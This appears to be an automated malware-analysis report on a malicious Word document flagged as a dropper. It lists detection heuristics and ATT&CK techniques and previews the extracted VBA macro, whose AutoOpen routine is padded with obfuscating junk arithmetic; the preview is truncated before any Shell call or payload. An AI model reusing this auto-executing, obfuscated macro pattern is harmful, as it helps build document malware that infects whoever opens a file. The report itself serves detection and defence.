MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes a Shell() call, indicating an attempt to execute arbitrary commands, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6831115-0' further supports this dropper functionality.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6831115-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6831115-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 83681 bytes |
SHA-256: 13a8cd24e95f5521b0e4815a978b75cfed8b0d972838b63534216ccc91ff7e34 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Dim BTKahkDrndnkq BTKahkDrndnkq = 5569 / 9713 / 2444 Dim VSnaQWLcCczQnV VSnaQWLcCczQnV = 9713 - 6879 Dim NVQHpGkggqK NVQHpGkggqK = VSnaQWLcCczQnV - BTKahkDrndnkq - 2658857 Dim LCKdDhjgvwPGK LCKdDhjgvwPGK = 7199 / 5729 / 8482 Dim qHRvGRxQhNFhGJ qHRvGRxQhNFhGJ = 5729 - 3343 Dim TJWQvfaGSavwlR TJWQvfaGSavwlR = qHRvGRxQhNFhGJ - LCKdDhjgvwPGK - 73214298 Dim VKPwSwlRbtiZlB Dim PkfDjmMJiVX PkfDjmMJiVX = 7733 / 7598 / 5592 Dim jqdbMWadgcVNkh jqdbMWadgcVNkh = 7598 - 8291 Dim TWHClMfQPnfzQa TWHClMfQPnfzQa = jqdbMWadgcVNkh - PkfDjmMJiVX - 97752698 VKPwSwlRbtiZlB = 728 / 7315 / 8786 Dim FGWRDVZjPpBg FGWRDVZjPpBg = 5629 / 9779 / 7075 Dim lTSwgcDbdg lTSwgcDbdg = 9779 - 4026 Dim BxMGWWrLJwqZ BxMGWWrLJwqZ = lTSwgcDbdg - FGWRDVZjPpBg - 70422386 Dim gwhqlSajSqxkrk gwhqlSajSqxkrk = 7097 / 8282 / 7592 Dim drvapqfGgLF drvapqfGgLF = 8282 - 8416 Dim czlMfgzBBxVF czlMfgzBBxVF = drvapqfGgLF - gwhqlSajSqxkrk - 49952608 Dim pfwninfrkiZ pfwninfrkiZ = 9292 / 2579 / 2838 Dim CKbNqbclncbk CKbNqbclncbk = 2579 - 6879 Dim VgBJZmKTDKQQ VgBJZmKTDKQQ = CKbNqbclncbk - pfwninfrkiZ - 14108614 Dim zQFCKWvaLrrB Dim ZBNJvqNziWFFHL ZBNJvqNziWFFHL = 8231 / 9292 / 1378 Dim vCWPHvJWhism vCWPHvJWhism = 9292 - 6418 Dim WWNkcpwjBWbXp WWNkcpwjBWbXp = vCWPHvJWhism - ZBNJvqNziWFFHL - 11469081 Dim VDiMwNamXMbZs VDiMwNamXMbZs = 6383 / 1594 / 5441 Dim lcLZkcxHtDLHzqnc lcLZkcxHtDLHzqnc = 1594 - 9562 Dim GbPHPKlwLLBt GbPHPKlwLLBt = lcLZkcxHtDLHzqnc - VDiMwNamXMbZs - 22657869 zQFCKWvaLrrB = 7315 - 7959 Dim BDZiXcaNgHmpft BDZiXcaNgHmpft = 3293 / 7320 / 2533 Dim lxwmxFRtchxKR lxwmxFRtchxKR = 7320 - 1789 Dim fiDhPXrrQKB fiDhPXrrQKB = lxwmxFRtchxKR - BDZiXcaNgHmpft - 5099288 Dim aVLFWLJMfxPHa aVLFWLJMfxPHa = 5368 / 6329 / 2368 Dim cszMjKKqKgj cszMjKKqKgj = 6329 - 6429 Dim gphZWaHHqkCj gphZWaHHqkCj = cszMjKKqKgj - aVLFWLJMfxPHa - 29836372 Dim MBLvgLigmjSLSc MBLvgLigmjSLSc = zQFCKWvaLrrB - VKPwSwlRbtiZlB - 44953600 Dim RhdVtHrfbsMBNkcv RhdVtHrfbsMBNkcv = 6044 / 4552 / 4382 Dim XahLbZfprPJRq XahLbZfprPJRq = 4552 - 679 Dim ZQdPPXJfcPxBZ ZQdPPXJfcPxBZ = XahLbZfprPJRq - RhdVtHrfbsMBNkcv - 10738988 Dim cxcFsnDtJGii cxcFsnDtJGii = 5475 / 5804 / 33 Dim VTxNXPLzQzTQ VTxNXPLzQzTQ = 5804 - 5420 Dim HgVDCLplKKXn HgVDCLplKKXn = VTxNXPLzQzTQ - cxcFsnDtJGii - 32977473 Dim WFHNhvWPkSVMJwxh Dim QGxSnxWBRwKf QGxSnxWBRwKf = 99 / 1144 / 5538 Dim wFsPaKClrHmxfMZ wFsPaKClrHmxfMZ = 1144 - 3209 Dim aNCPGnLkrRDZB aNCPGnLkrRDZB = wFsPaKClrHmxfMZ - QGxSnxWBRwKf - 1099317 WFHNhvWPkSVMJwxh = 4469 / 8485 / 9454 Dim qTPdPrMPvQTRixX qTPdPrMPvQTRixX = 6671 / 8983 / 9774 Dim HNxCGhfMvNB HNxCGhfMvNB = 8983 - 2210 Dim cPVsfXSSxmNvT cPVsfXSSxmNvT = HNxCGhfMvNB - qTPdPrMPvQTRixX - 18361447 Dim nHsqgstWcr nHsqgstWcr = 7338 / 4001 / 5474 Dim fWmPlRcBDQBCM fWmPlRcBDQBCM = 4001 - 935 Dim FQZPjPhwiwN FQZPjPhwiwN = fWmPlRcBDQBCM - nHsqgstWcr - 9621344 Dim BrQBJaLwfgDfvcmw Dim RLaKxLVgJL RLaKxLVgJL = 7177 / 6702 / 8416 Dim WMrrnzhrJcp WMrrnzhrJcp = 6702 - 2815 Dim lqGVNKPhczSl lqGVNKPhczSl = WMrrnzhrJcp - RLaKxLVgJL - 70552 BrQBJaLwfgDfvcmw = 8485 - 2964 Dim hHbSMLiaKbnWF Dim tcKXFrhpaH tcKXFrhpaH = 6505 / 650 / 6186 Dim wKJpWiHPzz wKJpWiHPzz = 650 - 7351 Dim mbLKfkLRqPScmR mbLKfkLRqPScmR = wKJpWiHPzz - tcKXFrhpaH - 5304259 hHbSMLiaKbnWF = BrQBJaLwfgDfvcmw - WFHNhvWPkSVMJwxh - 68359671 Dim LgcKsmtRPPaDCX LgcKsmtRPPaDCX = 3942 / 723 / 1982 Dim nSTqRFmkpjZs nSTqRFmkpjZs = 723 - 3248 Dim jtrmnvsjFmQtb jtrmnvsjFmQtb = nSTqRFmkpjZs - LgcKsmtRPPaDCX - 405391 Dim jLpLcPXhKF Dim RHNBwFGqjfB RHNBwFGqjfB = 4750 / 494 / 4569 Dim zcGGcXqVCSWdhC zcGGcXqVCSWdhC = 494 - 2667 Dim qBJrNfSHsBhwr qBJrNfSHsBhwr = zcGGcXqVCSWdhC - RHNBwFGqjfB - 8670834 jLpLcPXhKF = 6762 / 663 / 406 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.